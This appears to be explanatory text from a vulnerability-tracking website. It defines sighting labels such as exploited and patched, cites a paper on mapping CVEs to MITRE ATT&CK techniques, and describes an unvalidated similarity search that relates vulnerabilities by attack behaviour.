- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.